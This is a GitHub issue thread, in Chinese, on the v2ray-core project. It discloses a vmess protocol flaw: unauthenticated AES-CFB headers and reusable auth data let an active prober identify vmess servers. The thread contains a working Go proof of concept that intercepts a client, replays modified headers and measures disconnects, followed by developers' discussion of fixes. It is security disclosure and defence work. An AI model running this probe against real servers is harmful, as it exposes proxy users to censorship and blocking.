v2ray/v2ray-core

vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC)

p4gefau1t opened this issue · 148 comments

Update: 我们构造出了更具杀伤性的PoC,仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。我们决定提高issue的严重性等级。

Update:v4.23.4及以后已经采取随机读取多个字节的方式阻止P的侧信道泄漏,目前下面的PoC(16次探测)以及概率探测(暴力发包探测)的PoC已经失效,无法准确探测vmess服务。但是,由于这是协议设计层面的问题,彻底解决问题需要引入AEAD等无法向下兼容的设计。好消息是,这一缓解可以为我们讨论制订新协议争取非常多的时间。vmess+tcp的组合仍然存在一定风险,不建议使用。


先说结论:开启了tcp+vmess的服务端,在和客户端进行通讯时,攻击者可以通过重放攻击的方式准确判定是否为vmess服务。

这个缺陷的利用基于重放攻击和密文填充攻击,需要以下条件(经过讨论,结合之前ss遭到的重放攻击,我们认为对于GFW来说,此条件并不苛刻):

  1. 攻击者可以进行中间人攻击,捕获vmess的TCP流前16 + 38字节。

  2. 攻击者可以在30秒内据此发送16个探测包

目前的缓解方案均可以被绕过,唯一解决方案是修改协议实现 。

个人认为,最好的解决方案是采用gcm等具有认证能力的aead加密模式对指令部分进行加密,而不是cfb。这和现有vmess设计冲突且无法向下兼容,可能需要重新设计vmess协议。

mkcp+vmess和tls+vmess等底层传输不使用tcp的组合不受此问题直接影响,但有可能收到波及。

下面是分析和PoC


鉴于近期vmess协议遭到封锁的情况较为严重,因此研究了一下vmess的协议设计和实现,发现服务端一个实现缺陷导致的特征,可以利用主动探测,区分vmess服务与其他服务。

vmess的协议的设计和实现缺陷

这是vmess的客户端请求格式。

16 字节 X 字节 余下部分
认证信息 指令部分 数据部分

前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。

问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节 2 字节 1 字节 N 字节 P 字节 4 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd 端口 Port 地址类型 T 地址 A 随机值 校验 F

我们对照代码来看,v2ray服务端的vmess解析代码如下:

func (s *ServerSession) DecodeRequestHeader(reader io.Reader) (*protocol.RequestHeader, error) {
buffer := buf.New()
defer buffer.Release()
if _, err := buffer.ReadFullFrom(reader, protocol.IDBytesLen); err != nil {
return nil, newError("failed to read request header").Base(err)
}
user, timestamp, valid := s.userValidator.Get(buffer.Bytes())
if !valid {
return nil, newError("invalid user")
}
iv := hashTimestamp(md5.New(), timestamp)
vmessAccount := user.Account.(*vmess.MemoryAccount)
aesStream := crypto.NewAesDecryptionStream(vmessAccount.ID.CmdKey(), iv[:])
decryptor := crypto.NewCryptionReader(aesStream, reader)
buffer.Clear()
if _, err := buffer.ReadFullFrom(decryptor, 38); err != nil {
return nil, newError("failed to read request header").Base(err)
}
request := &protocol.RequestHeader{
User: user,
Version: buffer.Byte(0),
}
copy(s.requestBodyIV[:], buffer.BytesRange(1, 17)) // 16 bytes
copy(s.requestBodyKey[:], buffer.BytesRange(17, 33)) // 16 bytes
var sid sessionId
copy(sid.user[:], vmessAccount.ID.Bytes())
sid.key = s.requestBodyKey
sid.nonce = s.requestBodyIV
if !s.sessionHistory.addIfNotExits(sid) {
return nil, newError("duplicated session id, possibly under replay attack")
}
s.responseHeader = buffer.Byte(33) // 1 byte
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
padingLen := int(buffer.Byte(35) >> 4)
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
// 1 bytes reserved
request.Command = protocol.RequestCommand(buffer.Byte(37))
switch request.Command {
case protocol.RequestCommandMux:
request.Address = net.DomainAddress("v1.mux.cool")
request.Port = 0
case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
request.Address = addr
request.Port = port
}
}
if padingLen > 0 {
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
return nil, newError("failed to read padding").Base(err)
}
}
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
return nil, newError("failed to read checksum").Base(err)
}
fnv1a := fnv.New32a()
common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
actualHash := fnv1a.Sum32()
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
if actualHash != expectedHash {
return nil, newError("invalid auth")
}
if request.Address == nil {
return nil, newError("invalid remote address")
}
if request.Security == protocol.SecurityType_UNKNOWN || request.Security == protocol.SecurityType_AUTO {
return nil, newError("unknown security type: ", request.Security)
}
return request, nil
}

可以看到,前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。

这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:

此处代码实现,在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。

s.responseHeader = buffer.Byte(33) // 1 byte
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
padingLen := int(buffer.Byte(35) >> 4)
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
// 1 bytes reserved
request.Command = protocol.RequestCommand(buffer.Byte(37))
switch request.Command {
case protocol.RequestCommandMux:
request.Address = net.DomainAddress("v1.mux.cool")
request.Port = 0
case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
request.Address = addr
request.Port = port
}
}
if padingLen > 0 {
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
return nil, newError("failed to read padding").Base(err)
}
}
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
return nil, newError("failed to read checksum").Base(err)
}
fnv1a := fnv.New32a()
common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
actualHash := fnv1a.Sum32()
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
if actualHash != expectedHash {
return nil, newError("invalid auth")
}

读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。

缺陷的利用

Update:这个更强的攻击思路来自@studentmain

我们假定攻击者已经捕获前16 + 38字节。如何判定该服务是否为vmess呢?

下面是一种攻击载荷构造方法,我们构造这样的流

16 字节 38 字节 M字节
认证信息 恶意修改的指令部分 探测长度

恶意修改的指令部分:

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd

方法很简单,我们让i从0-16开始枚举,构造探测载荷。Key的最后一个字节赋值为i,用以绕过v2ray防护。P也赋值为i,用以遍历其明文空间。发送了16+38字节后,尝试还能发送几个字节后连接被断开。发送成功的字节数记做M。

发送载荷,累计16次,记录测得的所有M的值。如果M的最大值和最小值差值为16,并且无重复,该服务为vmess服务。否则不是vmess服务。这个检测方式不会漏报,也几乎不会误报。

原理很简单:

  1. 由于攻击者拥有前16字节的验证信息,因此可以通过服务端校验。

  2. 攻击者修改了key绕过基于nonce的防重放检测。并且,由于修改的是key最后一个字节,cfb加密模式中,由于是同一块的修改,错误不会扩散到P。

  3. 攻击者仅修改并枚举P,遍历所有密文空间,解密后的P同样遍历明文空间。也就是说,从0-16的枚举,将得到十六个不同的P值。

  4. 服务端读入接下来的地址后,开始期待客户端发送P字节的余量,以及最后4个字节的校验码。于是接下来就会读入P+4个字节,并因为校验和不正确,连接被断开。我们因此可以测得M的值。M的实际值为 目标地址长度+P+4

下面是一个PoC,使用go实现,比较粗糙,见谅:

package main

import (
	"flag"
	"fmt"
	"io"
	"net"
	"sync"
	"time"
)

var listenAddr = flag.String("from", "127.0.0.1:4444", "listen address")
var targetAddr = flag.String("to", "127.0.0.1:4445", "target address")
var multiPass = flag.Bool("multi-pass", false, "test multiple connections")

func mitm(client net.Conn) {
	original := [16 + 38]byte{}
	client.SetReadDeadline(time.Now().Add(time.Second * 5))
	_, err := io.ReadFull(client, original[:])
	if err != nil {
		fmt.Println(err)
		return
	}
	client.SetReadDeadline(time.Time{})
	fmt.Println("auth + command", original)
	isVmess := true
	wg := sync.WaitGroup{}
	wg.Add(0xf + 1)
	minP := 9999
	maxP := -1
	for i := 0; i <= 0xf; i++ {
		weAreFucked := func(encryptedP int) {
			defer wg.Done()

			conn, err := net.Dial("tcp", *targetAddr)
			if err != nil {
				fmt.Println(err)
				isVmess = false
				return
			}
			defer conn.Close()

			attack := [16 + 38]byte{}
			copy(attack[:], original[:])

			attack[16+32] = byte(encryptedP) //last byte of key

			tmp := attack[16+35]
			attack[16+35] = (byte(encryptedP) << 4) | (tmp & 0xf) //guess paddingLen
			n, err := conn.Write(attack[:])
			if err != nil || n != 16+38 {
				fmt.Println(err)
				isVmess = false
				return
			}
			for j := 0; j < 9999; j++ {
				//disable BufferReader's buffering
				time.Sleep(time.Millisecond * 10)

				zero := [1]byte{}
				_, err := conn.Write(zero[:])
				if err != nil {
					if j-1 < minP {
						minP = j - 1
					}
					if j-1 > maxP {
						maxP = j - 1
					}
					fmt.Println("M =", j-1)
					return
				}
			}
		}
		go weAreFucked(i)
	}
	wg.Wait()
	if isVmess && (maxP-minP <= 16) {
		fmt.Println("This is a vmess server")
	} else {
		fmt.Println("This is not a vmess server")
	}
}

func main() {
	flag.Parse()
	l, err := net.Listen("tcp", *listenAddr)
	if err != nil {
		fmt.Println(err)
		return
	}
	for {
		conn, _ := l.Accept()
		conn.(*net.TCPConn).SetNoDelay(true)
		fmt.Println(" ==> Client from:", conn.RemoteAddr().String())
		mitm(conn)

		if !*multiPass {
			break
		}
	}
}

这段PoC使用方法是,开启两个v2ray实例,客户端使用vmess连接本地4444端口,服务端vmess监听本地4445端口。客户端开启1080端口接受socks流量。

使用浏览器向客户端1080发送socks请求,客户端向4444端口发送vmess请求时,PoC模拟中间人攻击,获得16字节的有效认证信息。并且以此向4445端口的服务器发送恶意构造的包,测量N的值。

需要注意的是测量M时,可以使用每个字节Sleep后再发送的方式,使得服务端的BufferReader不工作,以此我们可以测量得到准确的M。

你可以通过--from --to 参数来指定想要监听的地址和想要测试的服务器。可以将--to换成其他服务的地址,如ssh,http,https进行检验。对于vmess服务,将输出This is a vmess server。

简而言之,如果 GFW 怀疑你鸡上有个 vmess + tcp,他抓个包,然后按上面的方法进行重放,在我电脑上实测不用一秒钟你的 vmess + tcp 就被识别了,更别提 GFW 了。希望大家予以重视

更新:目前服务端基本没有反制措施了,16 个包即可完全确定,基本无误报。重新设计吧。

作为 V2Ray 的下游项目(Qv2ray)维护者之一,我希望 V2Ray 能对自己的协议实现进行充分的安全审计,尽可能避免类似的事情再度发生。


ps1:
测试了自用的本地服务器、香港服务器、日本服务器,凡裸 vmess + tcp,瞬间发现。
测试了正常的各种服务如 http、ssh 等,没有误报现象。

ps2:
在本地自建的服务端发现,当遭到主动探测时,日志里面会刷出大量的 invalid auth 信息,这或可成为反制主动探测的一个工具。

ps3:
在这个案例里,似乎,你的 alterId 开的越大反而越不安全。仔细思考。

参考文章: 为何 shadowsocks 要弃用一次性验证 (OTA)

v2ray在vmess命令部分采用的MAC-then-Encrypt的做法,与当年的ss类似。

RPRX commented

用心了,但我说一个有些离题的愚见

我认为很多人直到2020年都还没有抓住重点:未来的重点方向是tls+ws/h2/h3,将流量隐藏起来,里面才是自创协议。而不是自己研究了一个直接在纯tcp/udp上就多么安全的协议。

tls1.3已经足够安全,且广泛使用,利于隐蔽。其它自创的奇奇怪怪的方案,安全性难以比拟tls不说,不广泛使用,无论怎么设计都容易被针对:就算哪天设计出了密码学上的安全性超越了tls的方案,只有fq的人用,也是分分钟被针对/被机器学习特征,没有任何意义。

所以非基于tls的方案应该被边缘化,比如纯vmess、ss、ssr,不要再做无用功。
在讨论某个协议的安全性时,请先将它套上tls。或者说,干脆设计一个在tls上表现良好的协议。

只需要校验上述 Vmess 字段里的版本号(因为目前只有一种取值),如果发现版本号不正确,直接丢弃该流即可

这一缓解措施不成立,对P的密文的改动只会影响P和Sec。

tls1.3已经足够安全,且广泛使用,利于隐蔽。其它自创的奇奇怪怪的方案,安全性难以比拟tls不说,不广泛使用,无论怎么设计都容易被针对:就算哪天设计出了密码学上的安全性超越了tls的方案,只有fq的人用,也是分分钟被针对/被机器学习特征,没有任何意义。

所以非基于tls的方案应该被边缘化,比如纯vmess、ss、ssr,不要再做无用功。
在讨论某个协议的安全性时,请先将它套上tls。或者说,干脆设计一个在tls上表现良好的协议。

好像有一些矛盾,如果tls1.3足够安全的话直接传明文或socks再套一层tls都行,那样tls内协议的安全性又有什么意义,所以我反对“在讨论某个协议的安全性时,请先将它套上tls”这句话,其他部分意见保留

RPRX commented

@rhjdvsgsgks
意义是:
1.防机器学习流量分类,如果tls+明文/socks5,墙甚至可以知道你在看youtube
2.利用cloudflare等服务转发流量时,我不一定允许它知道我在干什么

至于那句话,我的意思是,套上tls后就无需考虑类似“vmess协议头特征”、重放攻击等
有tls在外面,基本只需考虑“大流量情况下的特征是否足够混淆”,而不用继续讨论本issue列出的问题

按照意义2,可知利用cloudflare等服务转发流量时,cloudflare等服务显然可以截获下层的vmess+ws,
套上tls后就无需考虑类似“vmess协议头特征”、重放攻击等不成立。

RPRX commented

按照意义2,可知利用cloudflare等服务转发流量时,cloudflare等服务显然可以截获下层的vmess+ws,
套上tls后就无需考虑类似“vmess协议头特征”、重放攻击等不成立。

特殊情况下不成立不代表普遍情况下不成立

若利用这些cdn,已经是出于信任,且明知有暴露给cdn服务商的风险
况且若不套tls,则根本就没有这一场景,这算是套tls才有的“扩展用途”

用心了,但我说一个有些离题的愚见

我认为很多人直到2020年都还没有抓住重点:未来的重点方向是tls+ws/h2/h3,将流量隐藏起来,里面才是自创协议。而不是自己研究了一个直接在纯tcp/udp上就多么安全的协议。

tls1.3已经足够安全,且广泛使用,利于隐蔽。其它自创的奇奇怪怪的方案,安全性难以比拟tls不说,不广泛使用,无论怎么设计都容易被针对:就算哪天设计出了密码学上的安全性超越了tls的方案,只有fq的人用,也是分分钟被针对/被机器学习特征,没有任何意义。

所以非基于tls的方案应该被边缘化,比如纯vmess、ss、ssr,不要再做无用功。
在讨论某个协议的安全性时,请先将它套上tls。或者说,干脆设计一个在tls上表现良好的协议。

同意观点。目前单用强加密终究会被学习特征,只有使用和普通上网一样的协议才可以隐匿特征。所以我的意见更为激进

1: 只使用ws+tls/h2/h3的标准实现(能过CDN为准),其他协议可保留,但仅做为个人用途。
2. 内层数据的协议仍然可使用vmess,或者在未来进行简化或提供自定义设置(如去除内层加密,时间校验等)提高性能。
3. 通过抓包等手段,将该实现除tls外的明文部分和正常浏览器的进行对比。尽量保持和浏览器一致,如果维护成本高或原理上难以实现,那么就应尽量随机以分散特征。

RPRX commented

@ActiveIce
倒不是“单用强加密”,只是长期以来这些协议无论怎么设计,始终是在“创造特征”,而墙早已学会了根据特征来封锁,所以我认为继续这样下去是白费力气,远不如直接用tls的特征,还附带安全性
识别出ss换ssr,又被识别了换vmess,总是想着直接在tcp/udp上设计协议,却没有一个能长久

赞同123的具体做法

[Feature Request] 次世代方案:设计一个基于 TLS 的简单协议 #2526

RPRX commented

@tomac4t
首先,我的确是离题了,但没有那么离谱
用tls+路径分流的情况下,请问如何主动探测?
然后再请你仔细看一下本issue开头描述的场景,再想一下用tls后还是否存在这种问题

如果我理解无误,也就是说:裸vmess协议不再被支持。

@tomac4t
首先,我的确是离题了,但没有那么离谱
用tls+路径分流的情况下,请问如何主动探测?
然后再请你仔细看一下本issue开头描述的场景,再想一下用tls后还是否存在这种问题

RPRX commented

如果我理解无误,也就是说:裸vmess协议不再被支持。

@tomac4t
首先,我的确是离题了,但没有那么离谱
用tls+路径分流的情况下,请问如何主动探测?
然后再请你仔细看一下本issue开头描述的场景,再想一下用tls后还是否存在这种问题

没错,或者说,可以用,但不主张,包括ss和ssr,因为这些都在“创造特征”
况且all in tls之后,基本只需考虑“大流量情况下的特征是否足够混淆”,vmess协议还可以被瘦身,或者重新设计,以获得更好的性能(毕竟不用考虑防一大堆攻击方式了

自己在tcp上设计的协议,注重加密和防各种攻击是少不了的(这部分性能始终要损失),而tls1.3本来就是一种最佳实践(如本issue提到的aead加密改进),所以不如直接用tls以减少特征、减轻心智负担

他意思是纠结这个就是做无用功,我也赞同这一点。无论怎么设计/修复协议,都是画虎不成反类犬,在可见的未来会有新特征被识别。还不如直接用大众协议,并处理tls明文部分特征,才是长久之计。
@tomac4t

要翻车的节奏

RPRX commented

要翻车的节奏

翻车?😂

大家都知道ss和vmess是什么时候出现的,而那时互联网上tls并不普及,tls1.3也没出来。但现在是2020年,tls已成为主流,tls1.3也已被广泛应用了,所以我认为目前套tls才是最佳的选择与长久之计。

我们现在要做的看来只是正式宣布vmess+非tls不被支持了

要翻车的节奏

翻车?😂

大家都知道ss和vmess是什么时候出现的,而那时互联网上tls并不普及,tls1.3也没出来。但现在是2020年,tls已成为主流,tls1.3也已被广泛应用了,所以我认为目前套tls才是最佳的选择与长久之计。

确实如此,但是我们这里讨论的是vmess的问题。单从修复这个问题的角度来说,最好的方法是重新设计这个协议。

RPRX commented

我们现在要做的看来只是正式宣布vmess+非tls不被支持了

并不。毕竟瘦身后的vmess协议或新协议还未开始设计。
但如果有精力去改进vmess,不如设计all in tls的新协议,这是我的看法。
长期来看,是的,现有vmess会被淘汰。

不过,不少人已经是vmess+ws+tls了,也证明了这种方案的可靠性。

RPRX commented

@p4gefau1t
如果有精力去改进vmess,不如设计all in tls的新协议,只是个人的看法。
当然也可以都做,只是裸vmess最终会被淘汰,我看不到继续改进它的长期意义。

而且,比起来重新设计vmess,设计all in tls的新协议要简单很多,重点考虑混淆大流量特征。

vmess.tcp不是这么用的!!
vmess.tcp的真正用途是放在nginx(或者canddy之类的服务)后面。因为有些,比如某知名免费容器服务提供商,在nginx那层就已经做了tls加、解密的工作,所以到v2ray-core这层就不需要再套tls了。直接把vmess.tcp放公网上是用错了地方。

vmess.tcp不是这么用的!!
vmess.tcp的真正用途是放在nginx(或者canddy之类的服务)后面。因为有些,比如某知名免费容器服务提供商,在nginx那层就已经做了tls加、解密的工作,所以到v2ray-core这层就不需要再套tls了。直接把vmess.tcp放公网上是用错了地方。

建议先了解tcp和tls的区别。你说的方式是tls+vmess。你的叙述在自相矛盾。

vmess.tcp不是这么用的!!
vmess.tcp的真正用途是放在nginx(或者canddy之类的服务)后面。因为有些,比如某知名免费容器服务提供商,在nginx那层就已经做了tls加、解密的工作,所以到v2ray-core这层就不需要再套tls了。直接把vmess.tcp放公网上是用错了地方。

尚且,即使是tls+vmess,我有下面的观点

  1. 既然tls已做了外层加密,为何多此一举地在内层再用vmess加密?

  2. 如何使用vmess不是我们决定的。是用户决定的。据我所知,如此使用的人不在少数。

  3. 既然外层用tls是多此一举,那么,要么外层不使用tls,要么内层不使用vmess。于是问题还是存在,vmess+tcp存在被主动探测的风险。

  4. vmess的设计初衷就是基于tcp的,这点可以在官方手册中看到。

我认为,与其在此争论vmess是否有存在必要/研究是否具有意义的话题,不如转而讨论,本地能否复现此攻击;如何改进vmess协议,使得这样的攻击不可能发生。上面的讨论我个人认为是离题的。

RPRX commented

我认为,与其在此争论vmess是否有存在必要/研究是否具有意义的话题,不如转而讨论,本地能否复现此攻击;如何改进vmess协议,使得这样的攻击不可能发生。上面的讨论我个人认为是离题的。

是的,我将重开一个issue探讨如何设计基于tls协议的新协议。
但是“设计新协议”也算是一种改进(没规定非在vmess这棵树上),所以我觉得不算完全离题。

我认为校验版本号只是 mitigation,向后不兼容的 solution 可能较好,例如对 fixed/variable sized fields 分别提供校验,或是切换到 aead 上。

另外,我认为用「重放攻击」来描述不太妥当,这个问题更类似 padding oracle。

我认为校验版本号只是 mitigation,向后不兼容的 solution 可能较好,例如对 fixed/variable sized fields 分别提供校验,或是切换到 aead 上。

另外,我认为用「重放攻击」来描述不太妥当,这个问题更类似 padding oracle。

CFB模式下,攻击P不会影响版本号

切AEAD可以根治

新协议的设计过于漫长了,我担心我们没时间等。

RPRX commented

新协议的设计过于漫长了,我担心我们没时间等。

请勿抬杠,况且新协议不需要考虑大多数攻击,重点考虑混淆大流量特征,将比vmess简单很多。
就比如“切aead”,tls1.3是自带的。而且tls不会止步1.3,新协议几乎无需做出改变就可以从中获益。

在新协议被设计出来之前,尚有安全的vmess+wss可以使用

我认为校验版本号只是 mitigation,向后不兼容的 solution 可能较好,例如对 fixed/variable sized fields 分别提供校验,或是切换到 aead 上。

另外,我认为用「重放攻击」来描述不太妥当,这个问题更类似 padding oracle。

重放攻击指的是针对16字节的校验信息的攻击,后边的利用的确是密文填充攻击。我也不太清楚怎么描述这个攻击方法。

vmess tcp 确实已经不行了,大会期间已经针对这个协议进行阻断了。

在不考虑动协议 先从实现上 workaround 的话看起来服务端校验一下这些值是否合法就可以初步解决了?

图片

版本号未被修改,只改了P和key

在不考虑动协议 先从实现上 workaround 的话看起来服务端校验一下这些值是否合法就可以初步解决了?

图片

在不考虑动协议 先从实现上 workaround 的话看起来服务端校验一下这些值是否合法就可以初步解决了?

无法缓解,由于使用的是cfb,解密后仅P和Key字段遭到修改。其他字段均为合法值。

这个tcp模式是没有开tls的吧?停止使用裸的tcp模式能否缓解问题?

不一定,ws 由于使用了 tcp & 未加密 ,也会产生类似问题,

vmess + ws + tls + cdn 的情况下,vmess 流量也同时暴露在 CDN 处,因此也不建议

无法缓解,由于使用的是cfb,解密后仅P和Key字段遭到修改。其他字段均为合法值。

原位替换指令部分的第 33 和 36 字节的意思?hmmm 如果这样的话似乎确实坑有点大

感谢Issue作者和讨论参与者的贡献。

针对于你提出的协议的问题,我经过思考后想出了一个两步的解决方案,希望可以和大家讨论一下。
首先是对请求进行验证,并丢弃请求内容不正确的连接。

首先是保持向下兼容的情况下的[兼容]修复方法:

如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

不保持向下兼任的修复方法:

在端口后面再加一个认证字段认证到目前为止的数据,之后再是变长数据,防止根据未认证的长度数据来读取某个长度的内容。

无法缓解,由于使用的是cfb,解密后仅P和Key字段遭到修改。其他字段均为合法值。

原位替换指令部分的第 33 和 36 字节的意思?hmmm 如果这样的话似乎确实坑有点大

是的,替换第33字节——key的最后一字节用于破坏重放过滤器——很不幸,1字节的版本字段把key的边界和CFB块的边界错开了,不然CFB的块间扩散可以大大缓解问题(16包精确识别->多包概率识别)。36字节的高4位为攻击载荷,遍历16种密文组合就可以得到所有16种明文组合。通过侧信道可以测得相应明文的值,如果在这种测量下满足"所有明文都出现",那么这是vmess服务器。

vmess 流量也同时暴露在 CDN 处

唉,一个翻墙软件竟然同时要去跟CDN做斗争。是否该重新思考一下,“套CDN翻墙”这种欺骗、滥用CDN同时还让CDN服务商在不知情的情形下承担连带风险的行为是否太过不道德?

vmess 流量也同时暴露在 CDN 处

唉,一个翻墙软件竟然同时要去跟CDN做斗争。是否该重新思考一下,“套CDN翻墙”这种欺骗、滥用CDN同时还让CDN服务商在不知情的情形下承担连带风险的行为是否太过不道德?

或许是,但不是在这。

感谢Issue作者和讨论参与者的贡献。

针对于你提出的协议的问题,我经过思考后想出了一个两步的解决方案,希望可以和大家讨论一下。
首先是对请求进行验证,并丢弃请求内容不正确的连接。

首先是保持向下兼容的情况下的[兼容]修复方法:

如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

不保持向下兼任的修复方法:

在端口后面再加一个认证字段认证到目前为止的数据,之后再是变长数据,防止根据未认证的长度数据来读取某个长度的内容。

读入最后4字节,校验失败后继续读取数据,最后断开连接,我认为这种方法可以一定程度缓解。但是如果实现不当有可能引入新的特征。实现的时候应该多多斟酌。

比较好的方法应该是不使用cfb,改用gcm,校验和改为tag和nonce。

并且,认证信息部分可以重复使用,防重放完全依靠之后的数据key和iv,我认为这个设计不妥当。

如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

几个风险

  • 被类似 Slowloris 的攻击方式导致高占用。
  • 上文提到的 16 次连接可以同时发出:如果标记时立即切断所有连接可能导致用户已有的合法连接被 RST,如果不做这件事继续读取随机字节后关闭连接,这16个连接可能依然会可以观察到规律,即 M = (4~20)+ rnd。
  • 可能导致没有异常巨大的 alter id 就根本没法用?

edit: RST 可以跳过那个合法连接即校验通过的,但引入标记-销毁机制之后用户的新包被RST的概率还是会增加?

现在切换为AEAD的困难是暂时没想好数据长度信息放哪里。

认证信息可以重复使用是之前前期开发的时候的历史遗留问题,未来需要想办法移除掉这个。

我再想想怎么实现校验失败后继续读取数据可以不增加特征

如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

几个风险

* 被类似 [Slowloris](https://en.wikipedia.org/wiki/Slowloris_(computer_security)) 的攻击方式导致高占用。

* 上文提到的 16 次连接可以同时发出:如果标记时立即切断所有连接可能导致用户已有的合法连接被 RST,如果不做这件事继续读取随机字节后关闭连接,这16个连接可能依然会可以观察到规律,即 M = (4~20)+ rnd。

* 可能导致没有异常巨大的 alter id 就根本没法用?

edit: RST 可以跳过那个合法连接即校验通过的,但引入标记-销毁机制之后用户的新包被RST的概率还是会增加?

如果服务器正在被GFW攻击,那么使用兼容协议的连接就会出现无法连接是正常情况。这样的话可以保证在一些环境下未更新的客户端可以继续使用,并且鼓励开发者更新自己的客户端程序。

如果RND大一点的话,前面的4~20基本上就看不出来了。

Slowloris的话没办法,其实只要什么数据都不发也会读取相当长时间。

提一个我的思路供大家参考一下,可以假定第一次读取一定能读到完整的能用于校验的请求包,若没读到直接断开连接。
底层的 MTU 至少是超过 500 字节的,应该能容纳一次完整的请求包了,而正常的客户端也没有必要非得把包拆成几个包发送,因此这个假设我觉得是成立的。

提一个我的思路供大家参考一下,可以假定第一次读取一定能读到完整的能用于校验的请求包,若没读到直接断开连接。
底层的 MTU 至少是超过 500 字节的,应该能容纳一次完整的请求包了,而正常的客户端也没有必要非得把包拆成几个包发送,因此这个假设我觉得是成立的。

利用一个错误分片的包可以让其显现特征

提一个我的思路供大家参考一下,可以假定第一次读取一定能读到完整的能用于校验的请求包,若没读到直接断开连接。
底层的 MTU 至少是超过 500 字节的,应该能容纳一次完整的请求包了,而正常的客户端也没有必要非得把包拆成几个包发送,因此这个假设我觉得是成立的。

你这个基本是SSR的思路,但是如果一个TCP协议的程序收到一半的请求就立刻断开连接其实也是一个特征。或者GFW把请求进行拆片来进行探测也是可以的。

一般的TCP服务器都是会至少等几秒的

现在切换为AEAD的困难是暂时没想好数据长度信息放哪里。

认证信息可以重复使用是之前前期开发的时候的历史遗留问题,未来需要想办法移除掉这个。

我再想想怎么实现校验失败后继续读取数据可以不增加特征

指令完全AEAD加密,指令后加入不AEAD的Padding?

AEAD本身完全破坏了兼容性,在此时大刀阔斧地重新设计协议是可以接受的。

@xiaokangwang 核心是提供区分恶意请求的能力,至于识别到恶意请求之后的缓解逻辑可以再考虑

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。

v2fly/v2ray-core@e0aa18b

genzj commented

@xiaokangwang 如果解决了认证信息可以重用的问题,似乎也能缓解现在的探测手段?解决认证信息可以重用的问题会不会更简单些?

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。

v2fly@e0aa18b

选择48这个数字,有什么特殊的考虑吗

@xiaokangwang 如果解决了认证信息可以重用的问题,似乎也能缓解现在的探测手段?解决认证信息可以重用的问题会不会更简单些?

现在的AlterID的这个认证信息暂时来看不是特别好改,因为这个玩意不是通过解密来判断是否正确的,而是预先计算出正确的数值,然后再去比对,因此很难搞出很多的有效的认证信息,要改的话需要大改。

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。
v2fly@e0aa18b

选择48这个数字,有什么特殊的考虑吗

就是16*3保证比padding要长的情况下,不能读取过多数据再关闭连接。大部分TCP协议在检测到错误数据之后都会立刻关闭连接,如果保持读取过长时间的话也会是一个特征。一般的TCP协议在读取这个长度的内容之后就可以决定这个连接是不是自己想要的了。

比如说Minecraft在读取50个字节之后就会关闭连接。

genzj commented

@xiaokangwang 理解了,多谢解释。我是看到一部分机场自己部署了一定的防重放防护所以问的。可能从外部增加过滤比修改认证部分代码简单。

@xiaokangwang 理解了,多谢解释。我是看到一部分机场自己部署了一定的防重放防护所以问的。可能从外部增加过滤比修改认证部分代码简单。

